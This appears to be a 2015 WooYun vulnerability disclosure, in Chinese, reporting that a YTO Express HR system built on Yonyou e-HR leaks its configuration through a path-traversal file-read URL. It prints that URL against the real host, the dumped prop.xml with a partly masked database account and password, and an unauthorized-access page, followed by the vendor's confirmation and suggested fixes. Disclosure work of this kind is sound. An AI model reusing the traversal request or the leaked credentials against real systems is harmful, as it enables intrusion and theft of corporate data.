乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-30: 细节已通知厂商并且等待厂商处理中 2015-03-31: 厂商已经确认,细节仅向厂商公开 2015-04-10: 细节向核心白帽子及相关领域专家公开 2015-04-20: 细节向普通白帽子公开 2015-04-30: 细节向实习白帽子公开 2015-05-15: 细节向公众公开
圆通某系统存在敏感信息泄露和未授权访问(有案例)
前人经验 WooYun: 用友某系统任意文件读取 http://hr.f5.yto56.com.cn/hrss/ELTextFile.load.d?src=../../ierp/bin/prop.xml 圆通用友系统泄露数据库ip、用户名、密码(信息已打码)
<?xml version="1.0" encoding='gb2312'?> <root> <enableHotDeploy>false</enableHotDeploy> <domain> <cluster> <name>ncCluster</name> <protocol>http</protocol> <mgr> <javaHome>./ufjdk</javaHome> <name>master</name> <jvmArgs>-Xms512m -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=256m</jvmArgs> <servicePort>8005</servicePort> <http> <address>hrapp2</address> <port>9081</port> </http> <https> <address>hrapp2</address> <port>9444</port> </https> </mgr> <peer> <javaHome>./ufjdk</javaHome> <name>ncMem01</name> <jvmArgs>-Xms512m -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=256m</jvmArgs> <servicePort>8005</servicePort> <http> <address>hrapp2</address> <port>9082</port> </http> <https> <address>hrapp2</address> <port>9445</port> </https> </peer> <peer> <javaHome>./ufjdk</javaHome> <name>ncMem03</name> <jvmArgs>-Xms512m -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=256m</jvmArgs> <servicePort>8005</servicePort> <http> <address>hrapp2</address> <port>9084</port> </http> <https> <address>hrapp2</address> <port>9447</port> </https> </peer> <peer> <javaHome>./ufjdk</javaHome> <name>ncMem02</name> <jvmArgs>-Xms512m -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=256m</jvmArgs> <servicePort>8005</servicePort> <http> <address>hrapp2</address> <port>9083</port> </http> <https> <address>hrapp2</address> <port>9446</port> </https> </peer> </cluster> </domain> <isEncode>true</isEncode> <internalServiceArray> <name>StartTomcat</name> <serviceClassName>nc.bs.tomcat.startup.BootStrapTomcatService</serviceClassName> <accessDemandRight>15</accessDemandRight> <startService>true</startService> <keyService>false</keyService> <serviceOptions>start|stop</serviceOptions> </internalServiceArray> <internalServiceArray> <name>EJB_SERVICE</name> <serviceClassName>nc.bs.mw.naming.EJBContainerService</serviceClassName> <accessDemandRight>15</accessDemandRight> <startService>true</startService> <keyService>false</keyService> <serviceOptions>start|stop</serviceOptions> </internalServiceArray> <TransactionManagerProxyClass>nc.bs.mw.tran.IerpTransactionManagerProxy</TransactionManagerProxyClass> <UserTransactionClass>nc.bs.mw.tran.IerpUserTransaction</UserTransactionClass> <TransactionManagerClass>nc.bs.mw.tran.IerpTransactionManager</TransactionManagerClass> <SqlDebugSetClass>nc.bs.mw.sql.UFSqlObject</SqlDebugSetClass> <XADataSourceClass>nc.bs.mw.ejbsql.IerpXADataSource</XADataSourceClass> <dataSource> <dataSourceName>yt_test</dataSourceName> <oidMark>V2</oidMark> <databaseUrl>jdbc:oracle:thin:@10.1.xx.xx:1521:ytohrdb</databaseUrl> <user>yt_test</user> <password>ciijfdeddhihebanjdddfijbaxxxxxx</password> <driverClassName>oracle.jdbc.OracleDriver</driverClassName> <databaseType>ORACLE10G</databaseType> <maxCon>50</maxCon> <minCon>10</minCon> <dataSourceClassName>nc.bs.mw.ejb.xares.IerpDataSource</dataSourceClassName> <xaDataSourceClassName>nc.bs.mw.ejb.xares.IerpXADataSource</xaDataSourceClassName> <conIncrement>0</conIncrement> <conInUse>0</conInUse> <conIdle>0</conIdle> </dataSource> <webServer> <name>webserver_1520189404</name> <address>10.1.xx.xx</address> <port>9080</port> <protocol>http</protocol> </webServer> <webServer> <name>webserver_1520189405</name> <address>10.1.xx.xx</address> <port>9443</port> <protocol>https</protocol> </webServer> </root>
未授权访问页面:http://hr.f5.yto56.com.cn/hrss/rm/RmPsnbasdoc.jsp可参考 WooYun: 用友人力资源管理(e-HR)SQL注入漏洞(2枚) 注入参数,厂商自行检查一下,未深入。
已经证明
1,限制未授权目录2,限制敏感信息配置文件
危害等级:中
漏洞Rank:5
确认时间:2015-03-31 09:57
非常感谢白帽子,我们已经开始整改了。
暂无